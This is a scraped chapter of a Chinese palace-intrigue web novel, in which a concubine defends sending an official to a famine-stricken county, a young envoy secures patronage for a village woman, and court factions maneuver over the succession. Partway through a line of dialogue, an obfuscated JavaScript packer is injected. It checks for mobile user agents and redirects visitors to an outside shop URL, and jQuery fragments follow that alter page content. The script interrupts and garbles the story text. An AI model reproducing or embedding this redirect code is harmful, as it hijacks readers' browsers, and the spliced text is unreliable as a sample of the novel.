默认冷灰
24号文字
方正启体

4. 风不定

作者:若酒本书字数:K更新时间:
    “陛下。”贵嫔沈冽跪在地上,柔声说道,“臣妾不是有意干预沛县的赈灾事宜。臣妾想的是将来。”


    “起来吧。”


    皇帝李序,穿着玄色盘金绣如意纹云锦直裾,头戴白玉冠,他仪质瑰伟,留着些许胡须。


    沈冽慢慢起来,重新坐在坐垫上。


    “潇尔。”李序说,“你派何婋前往沛县,是不是觉得顾桓他资历不深,无法决断赈灾事宜?”


    “荞安。顾随野年轻,汉阳郡的官员是讲究资历的,不一定肯配合。”沈冽冷静地说,“他出自俏郡顾家,是东宫的第六品太子中舍人,他的父亲是第三品中书监顾翊。奉使坐镇汉阳郡沛县,居然还发生灾民暴动!”


    “百姓怎么想?朝臣怎么想?顾桓遭遇刺杀,他去赈灾,不仅是代表太子,还是代表陛下呢。沛县的县令和主簿,贪墨赈灾粮款,导致灾民不是饿死,就是冻死。”沈冽继续说道,“况且,今年的收成也不好,灾情蔓延,人心涣散。再这样下去,灾情持续消耗地方和中央,会波及汉阳郡甚至是别郡的县!”


    “茶鹰部一直就对大齐虎视眈眈,会随时袭击司州,池州,会州。若是司州各郡,都忙着筹款赈灾,安置难民,哪有心思去备战呢?”沈冽叹了口气,“广北防线一旦失守,汉阳郡沦陷,酒泉就保不住了。”


    顾桓遭遇刺杀,这就表明不是一般的党争。太子的生母不是沈贵嫔,而是身处梧州朔方郡的淑媛[1]刘妍。皇帝还未册封皇后,皇后之下是两位妃子,分别是贵嫔、夫人。沈贵嫔并无子嗣,皇帝若是想册封沈贵嫔为皇后,就要给她选一个孩子。如今,皇帝册封刘妍的孩子李淇,为东宫太子。


    “潇尔。”李序温柔地看着沈冽,“是朕错怪你了。”


    “陛下。”沈冽微微低着头,神情闲适,“是臣妾考虑不周,只想着要尽快为陛下排忧解难,却忽视陛下的感受。”


    “何婋协助顾桓,这趟差事办得不错。”李序靠近沈冽,笑容温柔,“等他们回到酒泉,朕一块赏了。”


    “谢陛下。”沈冽行礼如仪。


    “汉阳郡办事厅,递交给廷尉署的报告,说尤语是主簿房理杀害,尤语和房理为了粮款,先是策划屠杀灾民,而后诬告沛县百姓策划暴动。至于宋芷,虽殴打县令,但又襄助顾桓,将功折罪。”李序认真地说,“顾桓要她当顾家的门客,朕准了。潇尔,你也可以召她,进宫陪你说话。”


    “臣妾谢陛下恩典。”沈冽说,“陛下万岁万岁万万岁。”


    “你好好休息。”李序说完,便离开了。


    驿馆,岁始亭。


    “公子故意透露消息给沈贵嫔,”宋芷不解地说,“是怕杜悦不配合赈灾吗?”


    “杜悦为什么要趟赈灾这摊浑水呢?”顾桓喝着茶,“汉阳郡下的其余县,与汉阳王家勾结,倒卖粮食。杜悦他睁只眼闭只眼,不好吗?我却不一样。”


    顾桓故意不说下去,等宋芷自己想。


    “你是朝廷的奉使,郡内的官看着你的身份,左右只不过是哄着你。”宋芷摩挲着衣袖,仔细分析道,“你代表的是东宫势力。你的一举一动,会让人无限放大。太子之位,不算牢靠,毕竟刘淑媛还在梧州寿春郡。”


    “子凭母贵,母以子贵。”宋芷眼神流转,“朝中暗流涌动。陛下不接刘淑媛回宫,这证明陛下立李淇,只不过是出于长幼有序的想法,堵住朝臣的嘴。若是沈贵嫔为皇后,太子不一定就是李淇。”


    “你胆子真大。”顾桓微微前倾,点着宋芷的鼻尖,“不怕陛下治你的罪?”


    “是你让我说的。”宋芷拨开他的手,不耐烦地说,“陛下应该先治你的罪。你身为太子近臣,不用心辅助太子,居然妄自揣测陛下的心意!”


    “好了。”顾桓打开纸张,递给宋芷,喜笑颜开,“你的门客申请书下来了。建章宫作司何婋,汉阳郡太守杜悦,他们都签字了。尤县令入了黄泉,我只能代替他签字咯。”


    “现在就差季村的三老签字。”


    大齐的地方政府,是由州,郡,县,乡组成的。管理乡的基层官,分别是三老、啬夫(有秩)、游徼[2]。三者中,三老和啬夫(有秩)属于第八品,游徼是非正式官吏。这三者形成基层治理,向县令负责。三老是负责教化与纠纷调解,一般是由年满五十岁、德行高尚的人担任;啬夫是负责赋税与案件审理,游徼是负责治安巡逻与盗贼缉捕。


    在大齐,平民成为吏员,或是进入世家成为门客,都必须有州的刺史,郡的太守,县衙的县令,以及乡的三老,这四位的签字批准。皇帝宠爱沈贵嫔,不仅让沈贵嫔督办女子学堂,还让她设立建章宫女官制度,与外廷平分秋色,便于干涉中央和地方的事务。


    宋芷是申请成为俏郡顾家的门客,且顾家人在帝都酒泉有官职。作司何婋作为建章宫女官,可以全权代表司州刺史签字批准;沛县县衙官员涉及贪污赈灾粮款等案件,前县令尤语身死,只能让奉使顾桓代替县令签字。


    “车伯是个通情达理的人。”宋芷思虑片刻,“他应该会签字的。”


    “希望如你所愿。”顾桓眼尾低垂,他打开门,“你去隔间歇息吧。”


    沛县没有下雨,不冷不热。天边还有黑云,有一丝光拂过天际。


    沛县,季村。


    两辆木轺车停在季村村口。


    顾桓跳下车,将手递给宋芷。宋芷就着他的手下车。


    披麻戴孝的男女立马围了上来。


    顾家的护卫站在两人面前,顾桓将宋芷护在身后。他们戒备地看着季村村民。


    “宋芷。”一个女子指着宋芷,哭得上气不接下气,“你害了那么多人,你还敢回来?”


    “节哀。”宋芷微微欠身,“害死他们的,是沛县县衙的官差。他们扮作匪徒,屠杀村民。”


    “为何只有你活着?”女子问道。


    “我刺伤沛县县令尤语。”宋芷思路清晰,耐心地说,“然后逃了出来。如今,顾奉使与汉阳郡太守将此案查清。”


    “我旁边这位公子,就是顾奉使。”宋芷向季村村民介绍顾桓,“你们有什么问题就问他。”


    “车伯来了。”一个村民大声说道。


    季村的男女自动让道。三老姓车,大家都唤他‘车伯’。他五十岁上下,仙风道骨,啪嗒啪嗒地抽着水烟。


    “民女宋芷见过车伯。”宋芷行礼如仪。


    车伯抽着水烟,示意宋芷起来。


    “诸位。”车伯吐出烟圈,思虑片刻,“沛县县令尤语和主簿房理涉及贪污粮款,派遣官差,扮作匪徒,杀害我村村民。朝廷派奉使查清此案,等中央派遣新任县令,到县赴任,就会发赔偿款。稍后,我会让啬夫写个详细案件说明,张贴在墙上,你们自己去看。都散吧。”


    村民们听到车伯的解释,三三两两地便散了。


    “宋芷。”车伯看向宋芷,“你来。”


    宋芷与顾桓来到车伯的屋子里。


    车伯给两人准备茶水。


    “车伯。”顾桓示意宋芷递交申请书,“我想让宋芷,成为顾家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371212|199912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的门客,申请书就差您的签名了。”


    车伯阅览申请书片刻,在纸上签了字,并且盖了印。


    “多谢车伯。”宋芷行礼如仪。


    “宋芷。”车伯劝慰道,“你别怪他们,他们是伤心过度。”


    “不会的。”宋芷叹了口气,“是我的错,是我冒失了。”


    “这次,若是没有顾奉使查清真相,”车伯站起身来,向顾桓深深一拜,“别说粮食能不能发下去?恐怕,就连季村村民都得担着暴动的罪名。”


    “车伯客气了。”顾桓微微一笑。


    “宋芷。”车伯放下烟枪,慈祥地说,“你去到酒泉,凡事多听多想,仔细着点儿。要听公子的话。”


    “是。”宋芷神情略为感动。


    宋芷收拾完行礼,与顾桓离开季村。


    司州,酒泉。


    松月居。


    黑白色为主,木结构格式。万字回廊,青石铺地。装饰较为简单,没有奢华之风。


    正厅。


    “宋芷。我要向陛下和太子陈述赈灾事务。”顾桓认真地说,“顺便还得回去顾府一趟。”


    “好。”宋芷说,“你还回来用饭吗?”


    “当然。”顾桓笑着说,“等我回来。”


    “好。”宋芷点点头。


    顾桓走出正厅,廊下有一名男子候命。


    “孔伯。”顾桓吩咐道,“派个女婢,照顾宋女郎。”


    “是。”孔临行礼如仪。


    未央宫,宣室殿。


    “陛下。”太监原成说道,“作司何婋,太子中舍人顾桓求见。”


    “宣。”李序看着奏折说道。


    “微臣何婋参见陛下。”何婋行礼如仪,“陛下万岁万岁万万岁。”


    “微臣顾桓参见陛下。”顾桓跪在地上,行礼如仪,“陛下万岁万岁万万岁。”


    “起来吧。”李序看向他们,“你们的差事办得不错,开仓放粮,给灾民搭建临时住所。还处理了沛县官员贪墨与官兵扮匪的恶性事件。”


    何婋没有说话。


    “这是陛下筹措得当。”顾桓谦虚地说,“微臣等是仰赖天恩,才能把差事办好。”


    “对了。”李序微笑片刻,“朕派子岸过去,监督汉阳郡其余县的官员修筑堤坝。朕拟定沛县县衙官员名单,三日后他们就赴任。”


    邢猷,字子岸,出身临川邢氏,官拜第四品都水使者,掌天下河渠修利。


    邢猷是淑媛刘妍的表哥。


    “邢猷擅长治水。”顾桓诚恳地说,“陛下英明。”


    李序示意原成宣旨。


    “大齐皇帝令。”原成朗读赏赐诏书,“建章宫作司何婋,太子中舍人顾桓,因赈灾有功,处理沛县事宜得当,各赏赐贡缎十匹,钦此。”


    “微臣谢陛下。”沈婋与顾桓异口同声,行礼如仪,“陛下万岁万岁万万岁。”


    “宋女郎,这是挽秋。”孔临说,“以后就是伺候您的。”


    “有劳孔伯了。”宋芷微微欠身。


    东宫,正厅。


    “微臣顾桓参见太子殿下。”顾桓行礼如仪。


    “随野。”太子李淇笑了笑,“坐吧。”


    两人坐在坐垫上,婢女鱼贯而入,给他们上了茶水。


    “随野。”李淇喜不自胜,“父皇既然让表舅去修筑堤坝,看来他是准备同时重用刘家和邢家。我在建章宫安插的眼线说,昨晚,父皇去温德殿,骂了沈贵嫔一顿,说她私自派遣建章宫女官。真让我好生解气!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)